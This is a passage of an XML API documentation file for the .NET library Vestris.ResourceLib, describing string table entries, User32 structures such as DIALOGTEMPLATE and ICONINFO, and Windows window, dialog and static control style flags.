representation of the string table.\n            </summary>\n            <param name=\"indent\">Indent.</param>\n            <returns>String representation of the strings table.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.StringTableEntry\">\n            <summary>\n            This structure depicts the organization of data in a file-version resource. It contains a string \n            that describes a specific aspect of a file, such as a file's version, its copyright notices, \n            or its trademarks.\n            http://msdn.microsoft.com/en-us/library/aa909025.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.StringTableEntry._value\">\n            <summary>\n            The value is always stored double-null-terminated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.StringTableEntry.ConsiderPaddingForLength\">\n            <summary>\n            When set to true the length in the header will also contain the padding bytes when writing to a stream.\n            The MSDN reference (http://www.webcitation.org/6zBLYbvww) does not clarify which variant is 'right'.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Header\">\n            <summary>\n            String resource header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Key\">\n            <summary>\n            Key.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.StringValue\">\n            <summary>\n            String value (removing the double-null-terminator).\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.StringTableEntry.Value\">\n            <summary>\n            Value.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.#ctor(System.String)\">\n            <summary>\n            A new string resource.\n            </summary>\n            <param name=\"key\">Key.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.#ctor(System.IntPtr)\">\n            <summary>\n            An existing string resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.Read(System.IntPtr)\">\n            <summary>\n            Read a string resource.\n            </summary>\n            <param name=\"lpRes\">Pointer to the beginning of a string resource.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.StringTableEntry.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write a string resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32\">\n            <summary>\n            User32.dll functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ICONINFO\">\n            <summary>\n            Contains information about an icon or a cursor. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.IsIcon\">\n            <summary>\n            Specifies whether this structure defines an icon or a cursor. \n            A value of TRUE specifies an icon; FALSE specifies a cursor. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.xHotspot\">\n            <summary>\n            Specifies the x-coordinate of a cursor's hot spot. If this structure defines an icon, the hot spot is \n            always in the center of the icon, and this member is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.yHotspot\">\n            <summary>\n            Specifies the y-coordinate of the cursor's hot spot. If this structure defines an icon, the hot spot \n            is always in the center of the icon, and this member is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.MaskBitmap\">\n            <summary>\n            Specifies the icon bitmask bitmap. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ICONINFO.ColorBitmap\">\n            <summary>\n            Handle to the icon color bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.User32.GetDC(System.IntPtr)\">\n            <summary>\n            Retrieve a handle to a device context (DC) for the client area of a specified window or for the entire screen. \n            </summary>\n            <param name=\"hWnd\">A handle to the window whose DC is to be retrieved. If this value is NULL, GetDC retrieves the DC for the entire screen.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the DC for the specified window's client area. \n            If the function fails, the return value is NULL.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.User32.ReleaseDC(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Releases a device context (DC), freeing it for use by other applications.\n            </summary>\n            <param name=\"hWnd\">A handle to the window whose DC is to be released.</param>\n            <param name=\"hDC\">A handle to the DC to be released.</param>\n            <returns>\n            The return value indicates whether the DC was released. If the DC was released, the return value is 1.\n            If the DC was not released, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGTEMPLATE\">\n            <summary>\n            The DIALOGTEMPLATE structure defines the dimensions and style of a dialog box. \n            This structure, always the first in a standard template for a dialog box, \n            also specifies the number of controls in the dialog box and therefore specifies \n            the number of subsequent DIALOGITEMTEMPLATE structures in the template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.dwExtendedStyle\">\n            <summary>\n            Extended styles for a window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cdit\">\n            <summary>\n            Specifies the number of items in the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE\">\n            <summary>\n            The DIALOGITEMTEMPLATE structure defines the dimensions and style of a control in a dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.style\">\n            <summary>\n            Specifies the style of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.dwExtendedStyle\">\n            <summary>\n            Extended styles for a window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGITEMTEMPLATE.id\">\n            <summary>\n            Specifies the control identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE\">\n            <summary>\n            An extended dialog box template begins with a DIALOGEXTEMPLATE header that describes\n            the dialog box and specifies the number of controls in the dialog box. For each \n            control in a dialog box, an extended dialog box template has a block of data that\n            uses the DIALOGEXITEMTEMPLATE format to describe the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.dlgVer\">\n            <summary>\n            Specifies the version number of the extended dialog box template. This member must be 1.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.signature\">\n            <summary>\n            Indicates whether a template is an extended dialog box template. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.helpID\">\n            <summary>\n            Specifies the help context identifier for the dialog box window. When the system\n            sends a WM_HELP message, it passes this value in the wContextId member of the \n            HELPINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.exStyle\">\n            <summary>\n            Specifies extended windows styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cDlgItems\">\n            <summary>\n            Specifies the number of controls in the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE\">\n            <summary>\n            A control entry in an extended dialog template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.helpID\">\n            <summary>\n            Specifies the help context identifier for the dialog box window. When the system\n            sends a WM_HELP message, it passes this value in the wContextId member of the \n            HELPINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.exStyle\">\n            <summary>\n            Specifies extended windows styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.style\">\n            <summary>\n            Specifies the style of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.x\">\n            <summary>\n            Specifies the x-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.y\">\n            <summary>\n            Specifies the y-coordinate, in dialog box units, of the upper-left corner of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.cx\">\n            <summary>\n            Specifies the width, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.cy\">\n            <summary>\n            Specifies the height, in dialog box units, of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DIALOGEXITEMTEMPLATE.id\">\n            <summary>\n            Specifies the control identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.WindowStyles\">\n            <summary>\n            Window styles.\n            http://msdn.microsoft.com/en-us/library/ms632600(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_OVERLAPPED\">\n            <summary>\n            Creates an overlapped window. An overlapped window has a title bar and \n            a border. Same as the WS_TILED style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_POPUP\">\n            <summary>\n            Creates a pop-up window. This style cannot be used with the WS_CHILD style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CHILD\">\n            <summary>\n            Creates a child window. A window with this style cannot have\n            a menu bar. This style cannot be used with the WS_POPUP style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_MINIMIZE\">\n            <summary>\n            Creates a window that is initially minimized. Same as the WS_ICONIC style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_VISIBLE\">\n            <summary>\n            Creates a window that is initially visible.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_DISABLED\">\n            <summary>\n            Creates a window that is initially disabled. A disabled window cannot receive \n            input from the user.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CLIPSIBLINGS\">\n            <summary>\n            Clips child windows relative to each other; that is, when a particular\n            child window receives a WM_PAINT message, the WS_CLIPSIBLINGS style clips\n            all other overlapping child windows out of the region of the child window \n            to be updated. If WS_CLIPSIBLINGS is not specified and child windows overlap,\n            it is possible, when drawing within the client area of a child window, to draw\n            within the client area of a neighboring child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CLIPCHILDREN\">\n            <summary>\n            Excludes the area occupied by child windows when drawing occurs \n            within the parent window. This style is used when creating the parent window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_MAXIMIZE\">\n            <summary>\n            Creates a window that is initially maximized.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_CAPTION\">\n            <summary>\n            Creates a window that has a title bar (includes the WS_BORDER style).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_BORDER\">\n            <summary>\n            Creates a window that has a thin-line border.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_DLGFRAME\">\n            <summary>\n            Creates a window that has a border of a style typically used with dialog \n            boxes. A window with this style cannot have a title bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_VSCROLL\">\n            <summary>\n            Creates a window that has a vertical scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_HSCROLL\">\n            <summary>\n            Creates a window that has a horizontal scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_SYSMENU\">\n            <summary>\n            Creates a window that has a window menu on its title bar. The WS_CAPTION \n            style must also be specified.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_THICKFRAME\">\n            <summary>\n            Creates a window that has a sizing border. Same as the WS_SIZEBOX style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_GROUP\">\n            <summary>\n            Specifies the first control of a group of controls. The group consists of this\n            first control and all controls defined after it, up to the next control with \n            the WS_GROUP style. The first control in each group usually has the WS_TABSTOP\n            style so that the user can move from group to group. The user can subsequently\n            change the keyboard focus from one control in the group to the next control in \n            the group by using the direction keys. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.WindowStyles.WS_TABSTOP\">\n            <summary>\n            Specifies a control that can receive the keyboard focus when the user presses \n            the TAB key. Pressing the TAB key changes the keyboard focus to the next \n            control with the WS_TABSTOP style. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DialogStyles\">\n            <summary>\n            Dialog styles.\n            http://msdn.microsoft.com/en-us/library/ms644994(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_ABSALIGN\">\n            <summary>\n            Specifying this style in the dialog template tells Windows that the dtX and dtY values\n            of the DIALOGTEMPLATE struct are relative to the screen origin, not the owner of the \n            dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SYSMODAL\">\n            <summary>\n            Create a dialog box with the WS_EX_TOPMOST flag. This flag cannot be combined with the \n            DS_CONTROL style. This flag is obsolete and is included for compatibility with 16-bit \n            versions of Windows. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_LOCALEDIT\">\n            <summary>\n            Applies to 16-bit applications only. This style directs edit controls in the dialog\n            box to allocate memory from the application data segment. Otherwise, edit controls\n            allocate storage from a global memory object.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SETFONT\">\n            <summary>\n            Indicates that the header of the dialog box template contains additional data specifying\n            the font to use for text in the client area and controls of the dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_MODALFRAME\">\n            <summary>\n            Creates a dialog box with a modal dialog-box frame that can be combined with a title\n            bar and window menu by specifying the WS_CAPTION and WS_SYSMENU styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_NOIDLEMSG\">\n            <summary>\n            Suppresses WM_ENTERIDLE messages that the system would otherwise send to the owner of the\n            dialog box while the dialog box is displayed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SETFOREGROUND\">\n            <summary>\n            Causes the system to use the SetForegroundWindow function to bring the dialog \n            box to the foreground. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_3DLOOK\">\n            <summary>\n            Gives the dialog box a nonbold font and draws three-dimensional borders around\n            control windows in the dialog box. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_FIXEDSYS\">\n            <summary>\n            Causes the dialog box to use the SYSTEM_FIXED_FONT instead of the default SYSTEM_FONT. \n            This is a monospace font compatible with the System font in 16-bit versions of Windows\n            earlier than 3.0.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_NOFAILCREATE\">\n            <summary>\n            Creates the dialog box even if errors occur — for example, if a child window cannot be \n            created or if the system cannot create a special data segment for an edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CONTROL\">\n            <summary>\n            Creates a dialog box that works well as a child window of another dialog box,\n            much like a page in a property sheet. This style allows the user to tab among\n            the control windows of a child dialog box, use its accelerator keys, and so on.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CENTER\">\n            <summary>\n            Centers the dialog box in the working area; that is, the area not obscured by the tray.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CENTERMOUSE\">\n            <summary>\n            Centers the dialog box on the mouse cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_CONTEXTHELP\">\n            <summary>\n            Includes a question mark in the title bar of the dialog box. When the user clicks the \n            question mark, the cursor changes to a question mark with a pointer. If the user then \n            clicks a control in the dialog box, the control receives a WM_HELP message. The control\n            should pass the message to the dialog box procedure, which should call the function \n            using the HELP_WM_HELP command. The help application displays a pop-up window that \n            typically contains help for the control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_SHELLFONT\">\n            <summary>\n            Indicates that the dialog box should use the system font.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogStyles.DS_USEPIXELS\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ExtendedDialogStyles\">\n            <summary>\n            Extended dialog styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_DLGMODALFRAME\">\n            <summary>\n            Creates a window that has a double border; the window can, optionally, be created \n            with a title bar by specifying the WS_CAPTION style in the dwStyle parameter.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOPARENTNOTIFY\">\n            <summary>\n            Specifies that a child window created with this style does not send the WM_PARENTNOTIFY \n            message to its parent window when it is created or destroyed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TOPMOST\">\n            <summary>\n            Specifies that a window created with this style should be placed above all non-topmost \n            windows and should stay above them, even when the window is deactivated. To add or remove\n            this style, use the SetWindowPos function.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_ACCEPTFILES\">\n            <summary>\n            Specifies that a window created with this style accepts drag-drop files.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TRANSPARENT\">\n            <summary>\n            Specifies that a window created with this style should not be painted until siblings beneath\n            the window (that were created by the same thread) have been painted. The window appears \n            transparent because the bits of underlying sibling windows have already been painted.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_MDICHILD\">\n            <summary>\n            Creates a multiple-document interface (MDI) child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_TOOLWINDOW\">\n            <summary>\n            Creates a tool window; that is, a window intended to be used as a floating toolbar. \n            A tool window has a title bar that is shorter than a normal title bar, and the\n            window title is drawn using a smaller font. A tool window does not appear in \n            the taskbar or in the dialog that appears when the user presses ALT+TAB. If a \n            tool window has a system menu, its icon is not displayed on the title bar. However, \n            you can display the system menu by right-clicking or by typing ALT+SPACE. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_WINDOWEDGE\">\n            <summary>\n            Specifies that a window has a border with a raised edge.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CLIENTEDGE\">\n            <summary>\n            Specifies that a window has a border with a sunken edge.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CONTEXTHELP\">\n            <summary>\n            Includes a question mark in the title bar of the window. When the user clicks the question mark,\n            the cursor changes to a question mark with a pointer. If the user then clicks a child window,\n            the child receives a WM_HELP message. The child window should pass the message to the parent\n            window procedure, which should call the WinHelp function using the HELP_WM_HELP command. The \n            Help application displays a pop-up window that typically contains help for the child window.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RIGHT\">\n            <summary>\n            The window has generic \"right-aligned\" properties. This depends on the window class. This style has \n            an effect only if the shell language is Hebrew, Arabic, or another language that supports reading-order\n            alignment; otherwise, the style is ignored. Using the WS_EX_RIGHT style for static or edit controls \n            has the same effect as using the SS_RIGHT or ES_RIGHT style, respectively. Using this style with \n            button controls has the same effect as using BS_RIGHT and BS_RIGHTBUTTON styles. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LEFT\">\n            <summary>\n            Creates a window that has generic left-aligned properties. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RTLREADING\">\n            <summary>\n            If the shell language is Hebrew, Arabic, or another language that supports reading-order \n            alignment, the window text is displayed using right-to-left reading-order properties. \n            For other languages, the style is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LTRREADING\">\n            <summary>\n            The window text is displayed using left-to-right reading-order properties. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LEFTSCROLLBAR\">\n            <summary>\n            If the shell language is Hebrew, Arabic, or another language that supports reading order \n            alignment, the vertical scroll bar (if present) is to the left of the client area. For other\n            languages, the style is ignored.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_RIGHTSCROLLBAR\">\n            <summary>\n            Vertical scroll bar (if present) is to the right of the client area. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_CONTROLPARENT\">\n            <summary>\n            The window itself contains child windows that should take part in dialog box navigation. \n            If this style is specified, the dialog manager recurses into children of this window when\n            performing navigation operations such as handling the TAB key, an arrow key, or a \n            keyboard mnemonic.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_STATICEDGE\">\n            <summary>\n            Creates a window with a three-dimensional border style intended to be used for items that \n            do not accept user input.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_APPWINDOW\">\n            <summary>\n            Forces a top-level window onto the taskbar when the window is visible.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_OVERLAPPEDWINDOW\">\n            <summary>\n            Combines the WS_EX_CLIENTEDGE and WS_EX_WINDOWEDGE styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_PALETTEWINDOW\">\n            <summary>\n            Combines the WS_EX_WINDOWEDGE, WS_EX_TOOLWINDOW, and WS_EX_TOPMOST styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LAYERED\">\n            <summary>\n            Windows 2000/XP: Creates a layered window. Note that this cannot be used for child \n            windows. Also, this cannot be used if the window has a class style of either CS_OWNDC\n            or CS_CLASSDC. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOINHERITLAYOUT\">\n            <summary>\n            Windows 2000/XP: A window created with this style does not pass its window layout to its child windows.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_LAYOUTRTL\">\n            <summary>\n            Arabic and Hebrew versions of Windows 98/Me, Windows 2000/XP: Creates a window whose\n            horizontal origin is on the right edge. Increasing horizontal values advance to the left. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_COMPOSITED\">\n            <summary>\n            Windows XP: Paints all descendants of a window in bottom-to-top painting order \n            using double-buffering. For more information, see Remarks. This cannot be used\n            if the window has a class style of either CS_OWNDC or CS_CLASSDC. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ExtendedDialogStyles.WS_EX_NOACTIVATE\">\n            <summary>\n            Windows 2000/XP: A top-level window created with this style does not become the foreground\n            window when the user clicks it. The system does not bring this window to the foreground \n            when the user minimizes or closes the foreground window.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.DialogItemClass\">\n            <summary>\n            Possible DIALOGEXITEMTEMPLATE WindowClass ordinals.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Button\">\n            <summary>\n            A button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Edit\">\n            <summary>\n            An edit box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.Static\">\n            <summary>\n            A static control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ListBox\">\n            <summary>\n            A list box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ScrollBar\">\n            <summary>\n            A scroll bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.DialogItemClass.ComboBox\">\n            <summary>\n            A combo box.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.StaticControlStyles\">\n            <summary>\n            Static control styles.\n            A static control specifies the STATIC class, appropriate window style constants, \n            and a combination of the following static control styles.\n            http://msdn.microsoft.com/en-us/library/bb760773(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_LEFT\">\n            <summary>\n            Specifies a simple rectangle and left-aligns the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next left-aligned\n            line. Words that are longer than the width of the control are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_CENTER\">\n            <summary>\n            Specifies a simple rectangle and centers the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next centered \n            line. Words that are longer than the width of the control are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_RIGHT\">\n            <summary>\n            Specifies a simple rectangle and right-aligns the text in the rectangle. \n            The text is formatted before it is displayed. Words that extend past the \n            end of a line are automatically wrapped to the beginning of the next \n            right-aligned line. Words that are longer than the width of the control \n            are truncated.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_ICON\">\n            <summary>\n            Specifies an icon to be displayed in the dialog box. If the control is created \n            as part of a dialog box, the text is the name of an icon (not a filename) defined \n            elsewhere in the resource file. If the control is created via CreateWindow or a \n            related function, the text is the name of an icon (not a filename) defined in the\n            resource file associated with the module specified by the hInstance parameter to \n            CreateWindow. The icon can be an animated cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_BLACKRECT\">\n            <summary>\n            Specifies a rectangle filled with the current window frame color.\n            This color is black in the default color scheme.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.StaticControlStyles.SS_GRAYRECT\">\n            <summary>\n            Specifies a rectangle filled with the current screen background color. \n            This color is gray in the default color scheme.\n            </summary>\n        </member>\n        <member 